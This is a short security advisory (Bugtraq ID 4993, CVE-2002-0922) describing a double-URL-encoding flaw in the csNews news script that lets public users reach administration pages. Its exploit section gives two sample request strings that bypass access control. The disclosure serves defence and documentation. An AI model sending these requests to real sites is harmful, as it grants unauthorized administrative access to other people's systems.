CGIScript.net csNews Double URL Encoding Unauthorized Administrative Access Vulnerability

BID:4993

Info

CGIScript.net csNews Double URL Encoding Unauthorized Administrative Access Vulnerability

Bugtraq ID: 4993
Class: Input Validation Error
CVE: CVE-2002-0922
Remote: Yes
Local: No
Published: Jun 11 2002 12:00AM
Updated: Jul 11 2009 01:56PM
Credit: Discovery is credited to Steve Gustin <[email protected]>.
Vulnerable: CGISCRIPT.NET csNews Professional 1.0
- Apache Apache 1.3.24
- Apache Apache 1.3.23
- Apache Apache 1.3.22
- Apache Apache 1.3.20
- Apache Apache 1.3.19
- Apache Apache 1.3.18
- Apache Apache 1.3.17
CGISCRIPT.NET csNews 1.0
Not Vulnerable:

Discussion

CGIScript.net csNews Double URL Encoding Unauthorized Administrative Access Vulnerability

csNews is a script for managing news items on a website. It will run on most Unix and Linux variants, as well as Microsoft Windows operating systems.

Users with "public" access to the system may be able to view and modify some administration pages. This is accomplished by submitting a HTTP request in which some metacharacters are double URL encoded.

Exploit / POC

CGIScript.net csNews Double URL Encoding Unauthorized Administrative Access Vulnerability

The following sample exploits have been provided by Steve Gustin &lt;[email protected]&gt;:

CSNews.cgi?database=default%2edb&amp;command=showadv&amp;mpage=manager
CSNews.cgi?command=manage&amp;database=default%2edb&amp;mpage=manager

Solution / Fix

CGIScript.net csNews Double URL Encoding Unauthorized Administrative Access Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

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